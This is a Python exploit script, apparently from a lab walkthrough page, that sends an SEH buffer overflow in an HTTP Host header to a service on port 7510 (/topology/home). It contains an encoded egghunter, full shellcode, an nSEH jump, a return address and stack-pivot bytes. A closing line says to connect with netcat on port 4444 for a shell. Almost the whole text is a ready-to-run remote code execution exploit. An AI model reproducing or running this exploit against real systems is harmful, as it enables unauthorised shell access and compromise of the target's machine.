#!/usr/bin/env python

import socket
import struct
from time import sleep

TCP_IP = '192.168.109.129'
TCP_PORT = 7510

egghunter =  b""
egghunter += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
egghunter += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
egghunter += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
egghunter += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
egghunter += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x63\x56\x6f"
egghunter += b"\x71\x69\x5a\x79\x6f\x76\x6f\x47\x32\x30\x52"
egghunter += b"\x50\x6a\x45\x52\x66\x38\x58\x4d\x34\x6e\x45"
egghunter += b"\x6c\x34\x45\x33\x6a\x62\x54\x48\x6f\x4f\x48"
egghunter += b"\x65\x32\x64\x70\x34\x70\x63\x52\x4e\x69\x79"
egghunter += b"\x47\x6c\x6f\x72\x55\x79\x7a\x4c\x6f\x31\x65"
egghunter += b"\x39\x77\x79\x6f\x49\x77\x41\x41"

shellcode =  b""
shellcode += b"\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
shellcode += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x6b\x4c\x49"
shellcode += b"\x78\x4b\x32\x35\x50\x43\x30\x33\x30\x71\x70"
shellcode += b"\x6d\x59\x59\x75\x74\x71\x4b\x70\x51\x74\x6c"
shellcode += b"\x4b\x46\x30\x36\x50\x6e\x6b\x72\x72\x46\x6c"
shellcode += b"\x4c\x4b\x76\x32\x47\x64\x6c\x4b\x31\x62\x46"
shellcode += b"\x48\x66\x6f\x78\x37\x31\x5a\x76\x46\x76\x51"
shellcode += b"\x59\x6f\x4c\x6c\x45\x6c\x61\x71\x43\x4c\x43"
shellcode += b"\x32\x66\x4c\x55\x70\x7a\x61\x68\x4f\x44\x4d"
shellcode += b"\x45\x51\x49\x57\x4a\x42\x68\x72\x66\x32\x72"
shellcode += b"\x77\x4c\x4b\x63\x62\x74\x50\x4e\x6b\x63\x7a"
shellcode += b"\x77\x4c\x4e\x6b\x70\x4c\x66\x71\x72\x58\x48"
shellcode += b"\x63\x52\x68\x55\x51\x6a\x71\x56\x31\x4e\x6b"
shellcode += b"\x31\x49\x65\x70\x46\x61\x68\x53\x4c\x4b\x42"
shellcode += b"\x69\x35\x48\x49\x73\x36\x5a\x57\x39\x6e\x6b"
shellcode += b"\x35\x64\x6e\x6b\x46\x61\x68\x56\x46\x51\x49"
shellcode += b"\x6f\x6e\x4c\x79\x51\x6a\x6f\x66\x6d\x66\x61"
shellcode += b"\x6a\x67\x46\x58\x69\x70\x64\x35\x6a\x56\x57"
shellcode += b"\x73\x31\x6d\x68\x78\x75\x6b\x31\x6d\x35\x74"
shellcode += b"\x42\x55\x6b\x54\x33\x68\x4e\x6b\x46\x38\x54"
shellcode += b"\x64\x47\x71\x48\x53\x55\x36\x6c\x4b\x54\x4c"
shellcode += b"\x42\x6b\x6e\x6b\x36\x38\x75\x4c\x35\x51\x58"
shellcode += b"\x53\x4e\x6b\x77\x74\x6e\x6b\x63\x31\x78\x50"
shellcode += b"\x4e\x69\x67\x34\x36\x44\x47\x54\x63\x6b\x73"
shellcode += b"\x6b\x61\x71\x53\x69\x33\x6a\x36\x31\x49\x6f"
shellcode += b"\x49\x70\x43\x6f\x33\x6f\x42\x7a\x4c\x4b\x66"
shellcode += b"\x72\x58\x6b\x4c\x4d\x31\x4d\x71\x78\x56\x53"
shellcode += b"\x56\x52\x45\x50\x75\x50\x35\x38\x43\x47\x43"
shellcode += b"\x43\x66\x52\x61\x4f\x52\x74\x33\x58\x62\x6c"
shellcode += b"\x72\x57\x67\x56\x56\x67\x59\x6f\x6a\x75\x6e"
shellcode += b"\x58\x5a\x30\x47\x71\x57\x70\x65\x50\x54\x69"
shellcode += b"\x58\x44\x66\x34\x56\x30\x33\x58\x71\x39\x6f"
shellcode += b"\x70\x70\x6b\x43\x30\x49\x6f\x78\x55\x30\x6a"
shellcode += b"\x55\x58\x52\x79\x46\x30\x6a\x42\x4b\x4d\x67"
shellcode += b"\x30\x32\x70\x31\x50\x62\x70\x35\x38\x6a\x4a"
shellcode += b"\x54\x4f\x69\x4f\x69\x70\x6b\x4f\x6e\x35\x4f"
shellcode += b"\x67\x30\x68\x53\x32\x65\x50\x77\x61\x61\x4c"
shellcode += b"\x4c\x49\x58\x66\x72\x4a\x34\x50\x66\x36\x71"
shellcode += b"\x47\x45\x38\x78\x42\x69\x4b\x77\x47\x61\x77"
shellcode += b"\x69\x6f\x58\x55\x51\x47\x70\x68\x6c\x77\x49"
shellcode += b"\x79\x46\x58\x69\x6f\x79\x6f\x48\x55\x33\x67"
shellcode += b"\x65\x38\x61\x64\x78\x6c\x37\x4b\x6d\x31\x69"
shellcode += b"\x6f\x49\x45\x43\x67\x4e\x77\x33\x58\x71\x65"
shellcode += b"\x72\x4e\x72\x6d\x63\x51\x79\x6f\x59\x45\x75"
shellcode += b"\x38\x30\x63\x62\x4d\x52\x44\x75\x50\x4b\x39"
shellcode += b"\x69\x73\x42\x77\x72\x77\x42\x77\x56\x51\x58"
shellcode += b"\x76\x63\x5a\x64\x52\x63\x69\x52\x76\x7a\x42"
shellcode += b"\x49\x6d\x50\x66\x5a\x67\x63\x74\x74\x64\x55"
shellcode += b"\x6c\x33\x31\x37\x71\x6c\x4d\x62\x64\x45\x74"
shellcode += b"\x44\x50\x58\x46\x77\x70\x47\x34\x50\x54\x66"
shellcode += b"\x30\x52\x76\x56\x36\x36\x36\x37\x36\x43\x66"
shellcode += b"\x72\x6e\x63\x66\x52\x76\x42\x73\x72\x76\x31"
shellcode += b"\x78\x72\x59\x4a\x6c\x57\x4f\x4f\x76\x39\x6f"
shellcode += b"\x68\x55\x6e\x69\x4d\x30\x62\x6e\x66\x36\x47"
shellcode += b"\x36\x49\x6f\x30\x30\x71\x78\x53\x38\x6c\x47"
shellcode += b"\x55\x4d\x61\x70\x59\x6f\x68\x55\x4f\x4b\x4a"
shellcode += b"\x50\x4e\x55\x69\x32\x53\x66\x75\x38\x59\x36"
shellcode += b"\x6d\x45\x4d\x6d\x6d\x4d\x49\x6f\x5a\x75\x55"
shellcode += b"\x6c\x63\x36\x33\x4c\x56\x6a\x6d\x50\x59\x6b"
shellcode += b"\x69\x70\x52\x55\x43\x35\x4f\x4b\x67\x37\x77"
shellcode += b"\x63\x51\x62\x30\x6f\x31\x7a\x47\x70\x73\x63"
shellcode += b"\x79\x6f\x68\x55\x41\x41"

payload = "A" * 5 + "b00bb00b" + shellcode
payload += "A" * (3305 - len(payload))
payload += "\x77\x0b\x76\x09" # nseh
payload += struct.pack("<I",0x6d695864)
payload += "B" * 14
payload += "\x54\x58" # Push ESP onto the stack and Pop that value into EAX
payload += "\x66\x05\x3c\x15" # Add AX,0x153C
payload += "\x50\x5c" # Push EAX onto the stack and pop that value into ESP
payload += "C" * 2
payload += egghunter
payload += "C" * (3930 - len(payload))


buf= "GET /topology/home HTTP/1.1\r\n"
buf+= "Host: " + payload + "\r\n"
buf+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
buf+= "Referer: http://192.168.153.133:7510/\r\n\r\n"
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(buf)
s.close()

Using netcat, connect to the target host using port 4444 and you should now have a reverse shell:

Last updated